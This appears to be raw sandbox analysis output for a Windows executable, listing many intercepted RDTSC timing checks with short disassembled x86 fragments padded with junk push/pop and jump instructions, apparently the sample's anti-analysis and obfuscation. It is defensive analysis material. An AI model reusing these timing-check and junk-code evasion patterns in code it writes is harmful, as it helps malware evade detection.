Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90155 second address: F90162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F0A9 second address: F8F0C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F230C515288h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F265 second address: F8F26B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F26B second address: F8F26F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F26F second address: F8F281 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F6C1 second address: F8F6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F6C8 second address: F8F6DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F230C5197ACh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F6DA second address: F8F6E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F6E0 second address: F8F72D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jo 00007F230C5197A6h 0x0000000d jmp 00007F230C5197ACh 0x00000012 pop esi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F230C5197ACh 0x0000001b pushad 0x0000001c jmp 00007F230C5197B7h 0x00000021 jng 00007F230C5197A6h 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a push ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FA12 second address: F8FA19 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FA19 second address: F8FA22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FA22 second address: F8FA44 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F230C515285h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FA44 second address: F8FA55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F230C5197A6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93317 second address: F9331B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9331B second address: F9331F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9331F second address: F9332D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F230C515276h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9332D second address: F9336A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F230C5197A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 258A746Eh 0x00000012 mov dx, ax 0x00000015 push 00000003h 0x00000017 push 00000000h 0x00000019 mov edx, esi 0x0000001b push 00000003h 0x0000001d call 00007F230C5197A9h 0x00000022 pushad 0x00000023 jmp 00007F230C5197B2h 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b pop eax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9336A second address: F93380 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C51527Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93380 second address: F93399 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93399 second address: F93423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jo 00007F230C515280h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007F230C515276h 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 jmp 00007F230C515285h 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 push eax 0x0000002a jp 00007F230C515278h 0x00000030 push ecx 0x00000031 pop ecx 0x00000032 pop eax 0x00000033 pop eax 0x00000034 mov edx, dword ptr [ebp+122D37AAh] 0x0000003a lea ebx, dword ptr [ebp+124451E2h] 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 call 00007F230C515278h 0x00000048 pop ebx 0x00000049 mov dword ptr [esp+04h], ebx 0x0000004d add dword ptr [esp+04h], 00000014h 0x00000055 inc ebx 0x00000056 push ebx 0x00000057 ret 0x00000058 pop ebx 0x00000059 ret 0x0000005a jmp 00007F230C515289h 0x0000005f push eax 0x00000060 pushad 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93423 second address: F9342B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F935CA second address: F935CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F936D7 second address: F936E1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F230C5197A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB339F second address: FB33AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F230C515276h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB33AE second address: FB33B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB33B2 second address: FB33F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C515285h 0x00000007 jmp 00007F230C515287h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F230C51527Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB33F1 second address: FB33F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB10F9 second address: FB1131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F230C515276h 0x0000000a popad 0x0000000b jmp 00007F230C515283h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F230C515287h 0x00000019 jmp 00007F230C515281h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1131 second address: FB113A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB113A second address: FB1143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1143 second address: FB1149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB127B second address: FB1285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1285 second address: FB128F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F230C5197A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB128F second address: FB1295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1295 second address: FB12BB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F230C5197AEh 0x00000008 pushad 0x00000009 popad 0x0000000a jno 00007F230C5197A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F230C5197B4h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB12BB second address: FB12DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C51527Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F230C51527Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB16E5 second address: FB1725 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F230C5197B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F230C5197B8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1725 second address: FB1738 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C51527Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1D20 second address: FB1D38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B1h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1FDF second address: FB1FEF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jc 00007F230C515276h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1FEF second address: FB2009 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197ADh 0x00000007 jns 00007F230C5197A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2009 second address: FB2025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F230C515282h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2191 second address: FB2195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2195 second address: FB219B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB22BB second address: FB22D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C5197ABh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB22D1 second address: FB22D7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB22D7 second address: FB2302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b jmp 00007F230C5197B1h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA644C second address: FA645B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 jnl 00007F230C515276h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2A94 second address: FB2ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F230C5197A6h 0x0000000d jmp 00007F230C5197B9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2ABA second address: FB2ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2ABE second address: FB2AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2C1C second address: FB2C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2C24 second address: FB2C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB31E8 second address: FB3230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jno 00007F230C51528Bh 0x0000000d jo 00007F230C515290h 0x00000013 jmp 00007F230C515288h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3230 second address: FB325C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F230C5197A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F230C5197BDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB325C second address: FB3262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3262 second address: FB3266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBA023 second address: FBA02A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBA2C5 second address: FBA2DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F230C5197B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBA2DD second address: FBA2FD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F230C515284h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBA2FD second address: FBA323 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F230C5197ACh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBA323 second address: FBA32D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F230C51527Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBEA7A second address: FBEA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C5197B3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBEA91 second address: FBEA9E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F230C515276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBEA9E second address: FBEAB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F230C5197AEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE188 second address: FBE1BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C515281h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jc 00007F230C515276h 0x00000012 jmp 00007F230C515285h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE300 second address: FBE315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C5197AFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE315 second address: FBE334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F230C51527Ch 0x0000000b jbe 00007F230C515276h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE600 second address: FBE606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1F60 second address: FC1F69 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1F69 second address: FC1FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 add dword ptr [esp], 5454921Bh 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F230C5197A8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 jmp 00007F230C5197ADh 0x0000002c call 00007F230C5197A9h 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F230C5197AFh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1FBD second address: FC1FC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2442 second address: FC2460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C5197B9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2C0F second address: FC2C22 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 ja 00007F230C515276h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2C22 second address: FC2C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007F230C5197A6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2CC5 second address: FC2CED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C515283h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jno 00007F230C515276h 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007F230C515276h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2DE6 second address: FC2DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5099 second address: FC509F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC509F second address: FC50F5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F230C5197B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c je 00007F230C5197A6h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F230C5197B5h 0x00000019 popad 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F230C5197ABh 0x00000022 jmp 00007F230C5197AFh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC69D1 second address: FC69E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b je 00007F230C515276h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC69E3 second address: FC69E8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC759B second address: FC759F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC759F second address: FC75A9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F230C5197A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8032 second address: FC803A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8B25 second address: FC8B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8B29 second address: FC8B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA133 second address: FCA179 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c xor di, 1B89h 0x00000011 mov si, cx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+122D1AA0h], esi 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007F230C5197B1h 0x00000027 jc 00007F230C5197A6h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC99B second address: FCC9A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9ECA second address: FC9ECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC9A1 second address: FCC9A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9ECE second address: FC9ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
